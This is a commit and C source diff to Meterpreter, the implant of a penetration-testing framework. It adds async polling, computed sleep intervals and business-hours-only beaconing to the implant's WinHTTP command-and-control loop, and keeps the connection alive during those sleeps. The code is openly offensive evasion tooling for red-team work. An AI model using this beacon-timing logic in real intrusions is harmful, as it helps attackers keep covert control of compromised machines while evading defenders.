feat: add async polling and business-hours sleep to HTTP dispatch loop

When async mode is enabled, the dispatch loop sleeps for the
configured poll interval on empty responses and skips sleep
after handling commands to drain queued requests. Outside
business hours, the loop pauses with 60s re-checks.

Author: dledda-r7

c/meterpreter/source/metsrv/server_transport_winhttp.c

@@ -11,6 +11,10 @@
 #include "packet_encryption.h"
 #include "pivot_packet_dispatch.h"
 
+// Async mode helpers (defined in core_async.c)
+extern BOOL async_in_work_hours(HttpTransportContext* ctx);
+extern DWORD async_calculate_sleep_ms(HttpTransportContext* ctx);
+
 /*!
  * @brief Prepare a winHTTP request with the given context.
  * @param ctx Pointer to the HTTP transport context to prepare the request from.
@@ -675,6 +679,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
 			break;
 		}
 
+		// Async mode: wait until inside business hours before polling
+		if (ctx->async_mode && (ctx->async_work_start != ctx->async_work_end) && !async_in_work_hours(ctx))
+		{
+			dprintf("[DISPATCH] Outside business hours, sleeping 60s before re-check");
+			if (ctx->async_wake_event)
+			{
+				WaitForSingleObject(ctx->async_wake_event, 60000);
+			}
+			else
+			{
+				Sleep(60000);
+			}
+			// Keep comms timestamp fresh so the timeout check doesn't
+			// kill the transport during intentional out-of-hours sleep
+			transport->comms_last_packet = current_unix_timestamp();
+			continue;
+		}
+
 		dprintf("[DISPATCH] Reading data from the remote side...");
 		result = packet_receive_http(remote, &packet);
 
@@ -684,6 +706,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
 			if (result == ERROR_EMPTY)
 			{
 				transport->comms_last_packet = current_unix_timestamp();
+
+				// In async mode, sleep for the configured poll interval on empty responses
+				if (ctx->async_mode && ctx->async_poll_interval > 0)
+				{
+					DWORD asyncDelay = async_calculate_sleep_ms(ctx);
+					dprintf("[DISPATCH] Async mode: no commands, sleeping for %ums", asyncDelay);
+					if (ctx->async_wake_event)
+					{
+						WaitForSingleObject(ctx->async_wake_event, asyncDelay);
+					}
+					else
+					{
+						Sleep(asyncDelay);
+					}
+					// Refresh timestamp so comms timeout doesn't fire after the async sleep
+					transport->comms_last_packet = current_unix_timestamp();
+					continue;
+				}
 			}
 			else if (result == ERROR_WINHTTP_CANNOT_CONNECT)
 			{
@@ -802,6 +842,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
 			{
 				dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet");
 			}
+
+			// In async mode, do NOT sleep after handling a command — immediately
+			// poll again to drain any remaining queued commands. The sleep only
+			// happens on empty responses (no commands available).
 		}
 	}